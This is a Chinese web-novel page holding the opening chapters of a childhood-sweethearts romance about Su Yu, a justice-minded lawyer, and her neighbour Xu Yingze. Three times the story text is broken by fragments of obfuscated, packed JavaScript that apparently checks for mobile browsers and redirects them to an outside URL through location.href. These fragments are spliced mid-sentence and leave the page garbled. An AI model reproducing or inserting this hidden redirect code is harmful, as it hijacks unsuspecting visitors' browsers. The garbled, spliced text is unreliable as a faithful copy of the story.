《女侠，你命中缺我[青梅竹马]》 1. 女侠 接到李强电话的时候，徐影泽正在擦因洗澡打湿的头发。 “影泽！你快来一下！” 对方焦急地扔了个地址，随便交代了几句情况就挂了。 徐影泽垂在腿侧的手还握着手机，指节收紧，几乎发白。 直到静静听了小会儿蝉鸣，他才整理好自己的心情，苦笑一声，压下心头的复杂滋味，随便套了件T恤，出了门。 T市，某派出所。 女郎二十七八的模样，穿着职业西装套裙。垂顺的齐颌短发半遮住了右脸粘着的纱布。她抱着臂，纤细的眉紧紧纠缠在一起，望着大门方向，口中还在抱怨：“非得什么家属来？” “我的姑奶奶，”旁边的李强碎碎念，“你瞅瞅你这月第几次来我这儿了。你说这正常人，哪有这么短时间来派出所这么多次的？第一次押小偷，第二次送迷路老人，第三次，得，帮被性骚扰的女同志出头反被划破脸。我说，你当初咋没报考警校呢？” “我还真想过，”苏郁无视了李强话里的吐槽，一脸认真，“可惜家里说不适合女孩儿干，不让。” 李强扶着额头，一脸痛苦：“哎呦！你这让我说你啥好。你现在做的这些事吧，很危险，你晓得不？” “梁哥，”苏郁挑了挑眉毛，“这不有你们人民警察兜底呢么。再说，我这叫协助你们惩恶扬善，多点儿我这种好公民，你们工作才好干，你说对不？” “得了吧！”李强知道她嘴上功夫的厉害，“我可不想再在这儿见到你了。你哪怕去别的片区霍霍，也别次次都在我管的这片儿、我值班的这个时间成不？您老惩恶扬善开心了，这烂摊子还得我收拾！你是不知道影泽那小子每次……”正说着，外间一道白色的影子小跑着近了，李强赶紧闭嘴，生怕自己多说一个字被对方听了去。 “影泽每次怎么了？”苏郁重复他的话问。结果，说曹操曹操到，徐影泽下一刻就推开门，一眼扫到她坐的位置，边平复着呼吸边走了过来。 徐影泽表情很严肃。 严肃得……让苏郁有些心虚。 他走到苏郁身边，半蹲下来，抬头，抚开她垂散的头发，仔细观察着那片沾着些许血渍的纱布，好像这么盯着看就能看透布片，看进里面，以确认她的脸伤得重不重。 “好得很。家属，三次了啊！”李强揶揄着，“你可得管好这位，别让她再瞎折腾了。正义之举有我们职业警察，我们可是发工资的。普通公民别瞎闹腾了哈！” 李强在这片的派出所也工作个十多年了，这两人是他的“常客”，熟得很。打从上学时候起，苏郁就会因为各种原因到派出所和她问候，不过早些时候更多是因为家事。 “李哥，”苏郁瞪李强一眼，“什么家属，人又不是我叫来的！” “是我叫得行吧，姑奶奶，我求您了，笔录也做完了，快回去吧！” 苏郁眼神闪烁，有些不敢看徐影泽。她理了理包的肩带，站起身超外走。徐影泽却接过她的包，轻叹一口气，默默跟上。 出了警局大门，夏夜的空气中隐隐透着草木味儿，苏郁深吸一口，却嗅到身旁男人身上若隐若现的沐浴露香气。看着对方仍有些湿润的头发，她心里隐隐升起些许愧疚。 “对不住啊，又让你跑一趟。”苏郁顺着马路边走边说。 她走路有些跛，穿着带跟的鞋走了一天的路，虽然跟算不上很高，但脚还是有些疼。 徐影泽没说话，微垂着眼睑，嘴唇抿得有些紧。 像是在生气。 苏郁更觉得对不住了。 “我没想到他又打电话给你，”苏郁有些痛恨李强多事，“你也知道，李哥这人，就是……”她想了半天也没想到用什么词来形容他好，“……本来主体责任人也不是我，说什么大半夜我一个人回家不安全，把我扣到了现在。明明几步路的事，我也没想找你的，是他自作主张……” 边说边观察徐影泽的表情，结果发现他的脸更臭了。 苏郁最怕他这副不说话不搭理人的样子，而且他一这样她就止不住地话唠。 “……不过真是气人，”苏郁开始克制不住地碎碎念，“我帮的那姑娘见我和色狼动起了手，直接不知道跑去哪儿了。唉，真是……” 徐影泽停了下来。 苏郁紧张得咽了口唾沫。 这人心情不好的时候气势压人，饶是她平日里天不怕地不怕，可不知道怎地在他跟前就像矮了一头——不过确实矮的不止一头，他太高了。 一米八几的个头，背脊也永远挺直，从小受过的良好教育让他的气质亲和又贵气，在外人跟前从来都被说是彬彬有礼，儒雅绅士。但……在苏郁眼里却不完全是这么回事。 发起脾气来可怕得很。 苏郁正想着是不是大半夜把他捞出来惹到他了，就听对方说：“外套脱了。” “啊？”没反应过来。 徐影泽轻叹了口气，亲自动手把她的西装外套剥下来，在她腰间一围，打了个结，然后在她面前蹲了下来。 “上来。” 徐影泽的视线轻轻扫过她的脚。 “不是脚疼么？” 苏郁看着他宽阔的背，因为蹲着，肩膀展出很好的弧度。白色的T恤下隐隐的肌肉轮廓，线条若隐若现。苏郁不禁想，这家伙是不是在自己不知道的时候偷偷去健身了？ “看什么呢？”发现了她的恍惚。 “没什么，”苏郁眼神飘了飘，“那……我不客气了？” 徐影泽没回话，眼神却在默许，比先前柔和了不少。 派出所距离两人的家很近，从小到大这段路没少走。 徐影泽背着苏郁慢慢地往前。 老旧的街道不同于往日的喧闹，随着夜幕加深而愈加沉寂。许久未养护的路灯旁围着流萤，偶尔“啪”地轻闪一下，昏黄的灯光下两个人的影子抱作一团，被拖得老长。 曾经在孩子堆里称王称霸的女孩儿如今已经出落得亭亭玉立，但老毛病还是一如既往——看不惯不公的事。 他已经习惯了。 “你累不？”背上的人问他。 “不累。” 她很轻。有时候他甚至会郁闷，这小小的体格哪来那么多勇气横冲直撞的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295517|182724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……真的？” “不信？” 他把苏郁往上甩了甩，原地转了个圈儿，惊得苏郁叫声连连，一个劲儿地锤他。 “……这大半夜的！”苏郁意识到自己有点吵，“别闹！” 徐影泽笑了笑，稳住脚步，继续走：“你脸上的伤什么情况？” 他温厚的声音淙淙，带着几分关切。 “……我拉着那色狼的袖子，结果他甩开我的时候划的，”苏郁不想多说过程，但吐槽不停，“一个大男人，怎么小拇指留那么长的指甲。让我一个连美甲都不喜欢的女人情何以堪。” 男人没说话了。 半天后才幽幽一句。 “你还晓得自己是个女人？” “怎么？” “女人家不都很看重自己的脸？”徐影泽说，“被人划破相了怎么办？” 苏郁想了想，像是终于想起来后悔般：“……也是哈。” “本来就因为性格差，找不着男朋友，再烂了脸，可真就没人要了。”补刀。 “我稀罕？”苏郁“呵呵”一声，不屑，“臭男人也配想要不要我？怎么不说我要不要他呢！” 徐影泽轻笑几声，听不出情绪。靠在他背上听来，低沉的嗓音仿佛敲响了轻薄的鼓面，阵阵回响，余韵悠长。 静默在两人之间流淌着，彼此的体温互相熨烫。 徐影泽一步一个脚印，耳边摩擦着苏郁深深浅浅的呼吸，和她的碎发。 痒痒的。 一段路，算不得太长，很快便到了小区单元楼下。 徐影泽刚想问身后的人儿她妈妈在家与否，却发现，她已经在自己背上睡着了。 应该是真的累到了。 苏郁是名律师。 工作非常忙，每天忙的内容却并不像电视里演的那样精致、纸醉金迷。 她不止一次向徐影泽抱怨过影视剧中精英律师的生活：“他们是不是以为律师就只会端着咖啡坐在办公室里和大佬们聊聊天，就能挣得盆满钵满啊？” 她主攻民诉，又是授薪，每天都在围着鸡毛蒜皮、家长里短的事情转，与法院、当事人磨嘴皮子，晚上又来这么一遭，饶是平日里再能量满满也该耗光了。 徐影泽无奈，把她背回了自己家。 熟练地给苏妈妈发完微信，告知将她带回了自家留宿，徐影泽看着呈大字霸占了床睡得昏沉的人，无奈一笑，起身去烧水。 夏季的风顺着窗爬进室内，惊动晾衣架上挂着的风铃。 徐影泽扫了一眼窗外。 叮叮当当中，外间楼层各家各户的灯亮得参差不齐，像是在夜色中闪烁的星星。 徐影泽端着水杯轻手轻脚地走回床边，把杯子放在床头，看回苏郁酣睡的侧脸。 只有睡着的时候，她才会像个卸下防备的小动物，蜷成一团，露出柔软的肚皮来。 苏郁脸上的纱布随着呼吸起伏，徐影泽忍不住伸出手，去整理她凌乱的发丝。 细软的头发摩挲着指尖，缠缠绕绕。 一如他心底深处隐秘不愿言语的幽思。 2. 徐影泽 徐影泽打小就不是普通孩子，这件事他自己心知肚明。 仿佛天生拥有一双带有绚烂滤镜的眼睛。透过这层镜面去看，整个世界是瑰丽又流动的，有着各种各样的色彩，鲜亮，晃眼。 很美。 但观赏需要距离。 因为这些色彩会在强烈的时刻浓稠地混杂在一处，变成黑色怪兽，残酷且不留情面地将他吞噬、撕裂。 徐影泽喜静，喜独。他讨厌嘈杂的声音，不喜欢人多的地方，讨厌混乱的气味、调味重的食物，讨厌那些一眼就能看穿的、埋在虚假外壳下的林林总总…… 讨厌的东西很多。 喜欢的东西很少。 苏郁闯入徐影泽的生活是在他十岁那年。 那时候他刚搬进这个小区。 在忙碌了一整天，吃完晚饭，父母开始商讨如何安置杂物的时候，年幼使不上力的徐影泽便自觉地把自己关在屋子里看书。 徐影泽的房间视野很宽阔，抬眼就能看见星空。但今天的月亮很亮，亮到一颗星星都看不见，只有淡淡的金色光芒伴着尘世的点点星火充盈在天地间。 徐影泽被这种美丽捕获，决定去楼下逛逛。 楼下儿童娱乐区很吵闹。 十岁，本是一个孩子最闹腾的时候。 在其他小孩玩四驱车、悠悠球的时候，徐影泽已经可以阅读略微晦涩的文学名著并进行简单的二次函数方程运算，可能是因为家庭条件好，有着比别人跑前一步的环境，但更多的原因还是因为—— 他确实，挺聪明的。 课本内容看一眼就会，和大人聊一些深奥话题也总能说出些让人意想不到的话来。 而这些体验不曾存在于与同龄人的交往中。 那些熊孩子的玩乐内容在他看来，如同人猿时代的猴子在互抛水果取乐，又傻又无趣得很。他们之间对谈的内容也是枯燥乏味，像还没萌生出智慧的单细胞生物。 以至于徐影泽觉得，上学，尤其是小学这种，主动选择被傻子包围的行为，让他也变得蠢笨不堪。 母亲却挺坚持，每次在他耐不住烦快尥蹶子的时候。 “人活的是个过程，”她教育徐影泽，态度温和，“妈妈希望你能收获真挚的友谊。” 友谊？得了吧。 话不投机半句还嫌多呢。再说这群毛孩子懂什么叫友谊？ 孩童聚在一处，刺耳的叫喊几乎要冲破天际，而这，是徐影泽最避之不及的场景。 穿过喧闹的儿童娱乐区，他走向公共绿地。这里只有两三把长椅，没有多余的娱乐设施，场地开阔，人不多，偶尔有些遛狗散步的成年人路过，但他们往往是不发一言的。 这种安静让他感到舒适。 徐影泽找了个好位置坐了下来，享受着沐浴在金色月光中的愉悦感。温暖的风拂过他的脸颊，头发…… 生活可真是美好呀！ ——然而他的快乐很快就被人夺走了。 大概是因为娱乐区的饱和，三四个小孩带着足球聚了过来，开始围着空场地你一脚我一脚地传球。 “足球！是我的好朋友！” “真正的比赛！现在才开始！” “看我——庐山升龙踢！” 诸如此类的热血叫喊在徐影泽耳边炸了又炸…… 他不堪其扰，皱着眉，计划逃离此处，就在这时，男孩们的足球一个漂亮的抛物线，“咚”地一下，狠狠给他的脑袋来了个暴栗。 徐影泽：“……” 老实说，徐影泽从来不认为自己是个脾气好的人。 所以这种人在路边坐，球从天上来的事，让他非常非常不痛快。 “喂！”对面领头的孩子发话了，“把球踢回来！” 巧了，被人命令，这也是徐影泽所讨厌的事。 但这还算能忍。 毕竟跟猴子计较会拉低自己的进化水准，于是他翻了个白眼，选择无视对方，假装没听到。 那个领头的孩子王还在继续喊：“你长耳朵没有！我让你把球给我踢回来！” 徐影泽依旧无动于衷，因为个人空间被扰乱，他准备回家了。 他刚从椅子上跳下去，就见一道虎虎的圆润影子冲了过来，一把揪住他的衣领怼着他的脸吼：“你竟然敢无视本齐天大圣的话！” 徐影泽：“……” 徐影泽叹了口气，给了他一个宛如看傻子一般的眼神。 接着，冷静地擦掉他喷出来的口水，掰开他的手，转身继续走。 远处的几个孩子还在嘲笑起哄。 “你看人家都不鸟你！” “什么齐天大圣，你就是个猪八戒！哈哈哈！” 徐影泽的态度让这孩子王感觉自己丢了面子，眼神也刺痛了他幼小的自尊心，那不愿搭理挑衅的态度被判断成了软弱和可欺，孩子王恼羞成怒，猛力推了一把徐影泽的后背！ 徐影泽一个站不稳，直接摔到了地上。 因为下意识用双手去撑，手掌擦破了皮，膝盖也火辣辣地痛。他在原地愣了几秒，除了被怒火充血的昏胀感，他的大脑在解构，在思考，要如何通过最有效的方式出这一口恶气。 他把目光投向了停在草丛边的足球。 “喂！你是不是哑巴啊！”仿佛刚才推人的行为没有带来任何愧疚，孩子王继续挑衅，徐影泽的沉默让他更有底气了，“你应该听我的！乖乖把球踢回来！” 徐影泽从地上爬起来，长叹了口气：“你也就敢欺负比你瘦弱的小孩了。” “你什么意思！” “就你这样，也敢自称齐天大圣？”徐影泽走到足球所在的位置，指着某二层的一个角落，“你不是很厉害吗？敢不敢跟我赌一赌，我赌你的踢球水平，一定踢不到那个！” 那边阳台扶手上摆放着一只空花盆，在灯光下很是显眼。 “小瞧谁呢！”孩子王有些犹豫，踢不踢得中不说，要是惹了祸，铁定是要被家长数落的。 “磨磨唧唧的，肯定是踢不到！”徐影泽嘲笑他，“哦……应该是不敢踢，因为会怕他们会找你的麻烦。” 说完不忘呵呵一声，补充：“没见过这么怂的大圣！” “我王虎会怕这些！”孩子王怒气冲冲，“看好了！” 孩子王犹豫都没犹豫，对准徐影泽所指的方向，狠狠地就是一脚！ “哗啦！” 他没踢中那花盆，那家的窗户却应声而碎。因为是二层楼，所以住户很快便冲了下来兴师问罪。 “这是谁家的孩子！”男人气势汹汹，“怎么这么没规矩！” “我都跟哥哥说了别踢，他非要踢，还推了我一把，”徐影泽低着头，把受伤的手掌摊开给男人看，“看吧，叔叔生气了！” 徐影泽长相白净斯文，一看就很听话懂事，大人又怎么会去怀疑这样的孩子呢？ 王虎百口莫辩，被揪着耳朵训了老半天，而徐影泽则以要回家通知家长为由开了溜。 回家路上徐影泽哼着小曲儿，心情不错。 世人看重表象，这样的道理他很早就知道了。 只要学习成绩拔尖，不给大人添麻烦，说什么做什么，他们都会无条件偏向自己。更何况，他天生拥有一副好皮囊，在赢取他人信任方面有着天然的优势。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295518|182724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐影泽的父亲曾评价：小小年纪心机至此，未免太可怕。 “影泽还小，会懂事起来的。”母亲不以为然。 也许是老天爷听见了父母的担忧，生怕徐影泽因这份天赋和独特长歪，就在徐影泽为小计策产生的好心情耗空感到兴味索然的时候。 苏郁出现了。 徐影泽回程的路有点绕，他故意躲过了还有不少孩童驻留的娱乐区，捡了一条比较偏僻的小路走。 月光下自己的影子长长长长，因为这段插曲，他已经没了赏月的兴致。明天他就要在新的班级开始新的校园生活了，一想到从此以后要时不时面对像“王虎”那样的夯货，就有种莫名的心累。 好无聊啊…… 走着走着，自己的影子却和另一道影子交汇了。 他抬起了头。 皎洁月色中，一个人，正以一种……奇怪的姿势，与墙壁紧紧贴在一起。 与自己年龄相仿，她不算长的头发像杂草般在地面上扫荡，小小的胳膊抖得筛糠似的，俨然快要撑不住她倒着的身子。而她的五官正因为痛苦和疲惫挤成一团，但还是倔强地不愿下来。 也许是她的表情丑得好笑，这副姿态莫名引起了徐影泽的好奇。 他盯着她看了一小会儿，然后问：“……你在干嘛？” 女孩儿吃力地看向他。 “倒立！” “你都快撑不住了……” 为什么不放弃不下来呢？ “我……可以！” 真倔。 徐影泽走近她。 “为什么要倒立？” 这也许是徐影泽活这么大以来，第一次对同龄人这么有兴趣的一天。 “……电……视、电视上说，这样……就可以……把眼泪憋回去……” “……为什么要把眼泪憋回去？” 想哭的话，哭就好了呀。 每次徐影泽哭的时候，大人都会围过来，给他各种好东西哄他。虽然他并不爱哭。但哭于他说，不是件坏事。 “弱……弱者……才哭！” 她脸上的表情更丑了。 徐影泽注意到她脸上有什么东西在月光里一闪一闪的。 是泪痕。 “你不是……不想的哭吗？” 女孩的力气却仿佛正好在这句话问出后耗空，她忽然摔了下来，趴在地上，一动不动了。 “喂！”徐影泽探着头，“你怎么了？” 女孩儿没回话。 他上前两步，却发现女孩头压着自己的胳膊，又是发抖又是抽抽。压抑的啜泣声透过小小的身躯时隐时现，但始终没有放声哭出来。甚至抖了一会儿后，那细小的哭声也不见了。 这种事况超出了徐影泽所能理解、处理的范畴，让他感到有些不知所措。 看着一动不动的女孩儿，他走也不是，安抚也不会，不由得开始后悔起自己的搭话—— 自己怎么就那么闲呢？ 没多久，女孩似乎缓过来了劲，“唰”地一下从地上爬了起来，麻溜又熟练地抹了两把脸，用肿肿的眼睛看向徐影泽，然后冲他挤出一个比哭还难看的笑容，跑远了。 留下徐影泽一个人在风中凌乱…… 不知什么时候开始，一片薄云飘到了皎月前方，温柔地将其环绕、遮挡。丝丝柔光从云间探出，他回想着刚才女孩儿的笑容，不知道为什么，女孩肿胀眼皮下的那双眼睛一直在他脑海里晃啊晃…… 很亮。 之后很多年，每当回想起这一刻，徐影泽都会想—— 自己当初一定是被月色蛊惑了。 嗯，一定是的。 3. 阳光（一） 也许是这城市太小，加上徐影泽家所在的小区在学区房，孩子们上的学校统一得并不让人感到意外。 第二天上学报到的时候，徐影泽在同班级发现了前一天遇见的那个女孩儿。 她坐在窗边靠后一些的位置，阳光正好穿过玻璃打下一束光柱照在她脸上。昨夜的泪水和难堪已经消失不见，换上了一副全无阴霾的开朗神态。而此刻她正一边好奇地偷偷观察着自己，一边和其他同学交头接耳。 徐影泽几乎要以为，自己昨天见到的不过是晃神间的臆想了，如果不是他对自己的记忆力很自信的话。 “我们请新同学做一下自我介绍。”老师在讲台上说，徐影泽看到台下的学生们都看了过来。 包括那个女生。 徐影泽站定，迎着众人的目光，环视这间将承载他两载时光的教室一圈，轻轻开口：“我叫徐影泽。” 接着是一阵静默。 孩子们大眼瞪小眼，等了半天也不见他继续说话。 “就这么一句？”老师也被徐影泽的简洁惊到了。 “嗯。”轻描淡写。 老师以为他是怕生，不好意思多说，主动帮他补充：“影泽因为父母工作调动，从A市转学过来，大家多关照关照。”说完指着一处空座让徐影泽坐过去。 台下听到“A市”后叽叽喳喳吵开了锅，那可是一线大城市！一时间大家的眼神里充满了羡慕、憧憬、嫉妒等多种复杂情绪，徐影泽穿过这张由众人密集的视线所织就的网，无视班主任的话径直走到那女孩儿所在的座位边，对她同桌的女生直说：“我可以跟你换位置吗？” 这个座位要比老师安排的位置更靠后，徐影泽有自信让对方同意和自己换座。 “我刚来这里不太熟，”徐影泽对她说，“她是我邻居，坐一起能安心些。”说完不忘对那同桌女生愧疚地一笑，转头问老师：“老师，可以吗？” 徐影泽笑的时候两眼半眯，长长的睫毛弯弯，看人七分真诚三分柔情，乌黑的大眼睛里满是无奈和祈求。 这招对大部分“雌性生物”都好使，妈妈辈的阿姨们会捏着他的脸，主动给他买这买那，同龄的女孩儿往往会羞红了脸颊，垂下头，不敢与他对视。 同桌女生本来有些犹豫，但被他这一笑猝不及防地击中，于是自告奋勇地挪了位置。 “喂！”女孩儿在同桌换座时一个劲儿冲对方使眼色，无奈她的小同桌被“美色”所迷，就这样弃她而去了。 “上课！” 老师声音落下，女孩儿不好再说什么，只能拿出语文书，挠了挠头，有些不知所措。 那时候的徐影泽，因为聪明的头脑和出众的外表无往不利，所以苏郁的小动作，在他看来是臣服于自己魅力后的不好意思。 这想法让他有些飘飘然。 徐影泽收拾好书包，瞅了一眼女孩儿的课本。她的书皮很干净，但有些残破，像是被大力撕扯过一般皱皱巴巴的，笨拙又端正的“语文”之外落着两个相对熟练可看的字体—— 苏郁。 这是她的名字。 “大家打开第48页！”老师在台上高声要求。 “不好意思，我没带课本，”徐影泽小声对女孩儿说，“能一起看吗。” 女孩儿豪爽地把课本给推了过来。 徐影泽得意。 看吧，大凡他徐影泽想要什么，只要他想，总是能如愿的。 因为共享课本，两个人靠得近了起来，胳膊打胳膊，徐影泽侧过脸偷偷瞧她。 晨光中她白净的脸上有细碎的绒毛，鼻尖圆润精致小巧，眼睛像两瓣桃花花瓣，亮晶晶的。透亮的眼珠仿佛玻璃球般折射着琥珀色的光，非常特别。 ……可爱。 徐影泽脑中冒出这么一个词来。 女孩儿察觉到了他的视线，回头看向他。 那双琥珀色的眼睛猝不及防地与他直视，那瞬间，徐影泽忽然有些紧张起来，猛地把头垂了下去。 “怎么啦？”女孩儿一派天真地问。 徐影泽支支吾吾半天，却不知道怎么回话，只能找借口说：“你、你头上有东西。” 女孩儿懵懵懂懂地抬手扒拉起自己的头发，让本来就有些凌乱的短发更乱了。 “下来了吗？” “嗯……” 徐影泽看不过去她乱糟糟的头发，伸出手帮她整理：“都弄乱了。” 女孩细软的头发在指尖游动，她顺服地微低着头让他梳理的样子十分乖巧。不知怎地，徐影泽感觉脸颊充血，整着整着，手忽然尴尬的僵住，伴着红透的耳根和脖颈，他忽然抽回手，别扭地说：“你自己理吧！” “哦。”女孩两三下把头发理顺，开始认真听课。 老师在讲什么徐影泽是完全没听进去了。 等心跳平稳些，徐影泽又瞄向苏郁。 虽然是初夏，气温也有二十多度，她却穿着长袖，仿佛感受不到热。 “你不热吗？”徐影泽好奇。 “……不热，”苏郁神情有些遮掩，“习惯了。”边说边盯着老师的黑板疯狂记笔记。 徐影泽看了一眼黑板：“这些很简单的，不用记。” “不行不行，老师会检查的。” “……我都能通读红楼梦了，”徐影泽也不懂，自己怎么这么想在她跟前表现，“你有什么不懂的，可以问我。” 苏郁抬头看他一眼，说了声“谢谢”，但表情明显没把他的话当回事。 “我很厉害的，”徐影泽有些不甘心她的平淡反应，继续说，“学习上可以教你。” “比如呢？”苏郁认真问。 “概率啊立体几何啊，我都会，你喜欢文科的话，古诗文赏析也可以。” “你说的这些……我都不太懂。”苏郁又一次挠了挠脑袋。 “我懂啊。” 讲台上的老师注意到两人交头接耳，出声提醒：“苏郁！好好听课！别上课闲聊，给转学生做坏榜样！” 周围的同学哄笑起来。 苏郁吐了吐舌头，想起徐影泽说是她邻居的事，等老师再开始讲课的时候压低声音问：“我们住同一个小区吗？下课我带你去逛逛学校！以后你要是有什么需要帮忙的，也可以随时找我哦！” 而徐影泽听到这话后，却愣住了。 “你……不记得我了？” 苏郁看向他，脸上挂着疑惑和纠结，好像在疑惑，对方为什么会忽然问出这样的问题，又怕让对方失望般，不知道该说见过还是不见过。 徐影泽见她一脸懵懂，仿佛已经忘记了两人不久前才见过这回事，不知怎地心里有些失望，但他说不清失望的点是什么。 是他引以为傲的皮相，在别人眼中不值一提，甚至印象都没留下分毫？ 还是说，让他印象深刻，翻来覆去想了一晚上的初次见面，在她眼里什么都不是？ 那自己刚才一番动作岂不是像小丑一样？ 她会不会觉得自己是个自来熟？ 那他岂不是很没面子…… 而且，不知道为什么…… 怎么…… 这么让人不爽呢？ 失望过后是尴尬，尴尬后一股无名火蹭蹭直冒，徐影泽的脸立马垮了下来。 “我想起来自己带书了，”徐影泽忽然冷着声音把自己书包里的书翻出来，“你自己看吧。”然后侧过脸不再理她了。 苏郁一脸莫名其妙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295519|182724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐影泽不知道的是，昨天夜里实在是太黑，苏郁又哭花了眼睛，哪可能看清跟她说话的是谁呀！ 之后一整天，不管苏郁怎么跟徐影泽搭话他都视若不见。其他同学来找他攀交情，他也一副冷冰冰不想理人的样子。以至于不少人背后议论说，徐影泽是因为从大城市过来，太傲气，不愿意和他们这种四线小地方的人来往。 对这种小屁孩之间的闲话，徐影泽才懒得搭理。 熬到放学，徐影泽拎起书包就往回走，全程一句话也不曾和苏郁说过。 他才不要热脸贴冷屁股呢，人家都不记得自己，自己往上凑着干嘛？ “喂，徐影泽，一起回家吗？”苏郁在他背后喊。 哼，才不想理你呢。 等放学回到小区，徐影泽走在小道上，忽然五六小孩呼啦啦地出现把他围住，为首的正是昨天那个王虎。 “就是他！”王虎气鼓鼓地指着徐影泽说，“就是他昨天害我踢碎了别人的窗户！害我被骂！害足球被我爸没收的！” 随行的小孩有个个头很高，两三步走到徐影泽跟前，自上而下的盯着他，气势压人：“你小子，知道自己做了什么吗！” 徐影泽心情不好，瞪了对方一眼绕开就要走，那小孩却一把把他拉住，推搡着他，嘴上说：“你别以为有大人帮你撑腰就了不起。能帮你撑一次腰，还能次次都帮你不成。别以为我们的人好欺负！” 小孩一句一推，楞是把徐影泽的脾性给拱了起来。平日里他能耍心眼就不动手，毕竟这世道先动手动嘴的人总是理亏，但也不代表他是个怕事的。 他一把甩开对方搭拉在自己肩膀上的胳膊，冷着脸说：“我给你一个机会，跟我道歉。” 小孩被他的反击惊到，愣了两秒，然后反应过来般转头看了同行的小伙伴一眼，一起“哈哈”笑出了声。 “还给你道歉，”那小孩说，“好笑！你害我们公用的足球被没收了，我们还给你道歉！” 说完他又开始推搡徐影泽，一下更比一下用力。 “我就不道歉！” “……一。” 徐影泽在数。这是他忍耐限度的倒计时。 “你能把我咋样？” “……二。” “嘿，还数数，瞧把你能耐的！”小孩不甘示弱的继续推。 “……三。” “三”字数完，对方的手刚要再动，徐影泽迅速后撤两步，背身，旋腰，腿一个飞踢，对准小孩的脸就是一脚。 那小孩被硬生生踢倒在了地上。 周围顿时鸦雀无声。 “道不道歉？”蓝带选手徐影泽脸很臭。 “……这、赵亮！你没事吧！”王虎冲倒在地上的小孩喊。 “呜……”赵亮在地上挣扎着爬起来，他是王虎的老大，被踢倒在地上爬不起来，又疼又丢脸，忍不住“呜哇”大哭起来。 徐影泽用小拇指挠了挠耳朵。 真吵。 他控制了力道，不至于把对方怎么样。再说，有那么疼吗？男孩子哭鼻子，未免太矫情了吧。 “大家一起上！”王虎怂恿其他小朋友，“我就不信打不过他！” 为什么要打架？ 莫名其妙。 凭什么他要陪着这群猴子闹腾？ 想到这儿，徐影泽觉得莫名的心累，刚才被推搡起来的气劲儿也下去了。反正推他的人已经躺在地上了，不算吃亏。 他转身要走，王虎却不依，手搭上了他的肩。 “打了人你还想走？” 还来是吧？ 徐影泽正考虑着要不要给他来个过肩摔，就听不远处一道脆生生的声音响了起来：“你们干什么呢！” 4. 阳光（二） 一道人影风风火火地冲了过来，飞起一脚把王虎踹翻在了地上，在王虎“哎呦哎呦”喊痛的同时抓住他的胳膊反剪到背后，嗓子响亮：“好哇！王虎！你又和赵亮欺负人！我要去告诉你妈妈！” 女孩儿擒着脸贴在地的王虎，挡在徐影泽面前，跟个捉到刺客的骑士似的。 徐影泽定眼一瞧，那乱七八糟的短发，可不就是苏郁么。 小学时女生普遍早熟，苏郁个头儿要比同龄人高一些，和高年级的王虎在一块儿气势也不输人，甚至还压他一头，那也是徐影泽人生中为数不多需要仰望她的时候。 此刻她的背影被焦糖色的暮光撑开，将他笼罩其中， “哇！疯婆娘来了！”后面有小孩喊了起来，看到这阵仗，一群人作鸟兽散，飞快地溜光了。 “怎么哪哪都有你！”王虎似乎跟苏郁经常打交道，而且不怎么对付，龇牙咧嘴地说，“闲得吧！” 苏郁眼睛一瞪，手上劲儿使得更多了些，压得王虎哇哇乱叫。她的态度很强硬：“欺负人就是不对！” 徐影泽是没想到苏郁乖巧的脸蛋背后还有这样凶悍的一面。 “我咋欺负他了？”王虎用下巴指着躺在地上的赵亮，男孩儿可能考虑到有女生在不敢再放肆大哭了，灰溜溜地从地上爬了起来，“你瞧瞧，到底是谁欺负谁？” 苏郁用疑问的眼神回头看了眼徐影泽。 徐影泽一脸无辜：“他先推我的。” 大概是这群孩子有太多前科，又人多势众，苏郁并没有怀疑徐影泽话的真实性，她甚至没有好奇赵亮为什么会躺在地上。 “肯定是你们欺负人，人家忍不下去才还手的。恶人先告状！”她说着，腾出一只手扯过王虎的耳朵，把他从地上拽起来，拖着人就往他家方向去：“走！找阿姨去！” 王虎没躲开苏郁的手，也挣扎不过她：“男生打架关你啥事，真以为自己是什么正义的使者了？总不会是你找的什么姘头！这么护着！” 也不知道王虎小小年纪从哪学来的什么“婆娘”“姘头”之类的词，一股脑儿地乱用，听得徐影泽直皱眉。 “瞎说什么呢，天天结伙报团欺负人！我看就是老师教导少了！” “……喂。”徐影泽试图插嘴。 “教育也轮不上你，”王虎不忘碎嘴咒骂，“一天就知道管闲事给大人告黑状！像你这种母老虎，嫁都嫁不出去！” “我嫁不嫁得出去关你啥事，”苏郁拖着王虎走近他家楼栋，徐影泽跟在后面，“怪你倒霉，次次干坏事都遇着我！遇上了我就得管！” “你以为你警察啊？” “我说……”徐影泽第二次尝试插话，可两个人完全不带理他。 “小心我以后真当警察！第一个抓得就是你！” 两人一路拌着嘴，空气中流淌着微妙的气流，筑成一道高墙，隔开三人。苏郁和王虎在一头，徐影泽在外头。 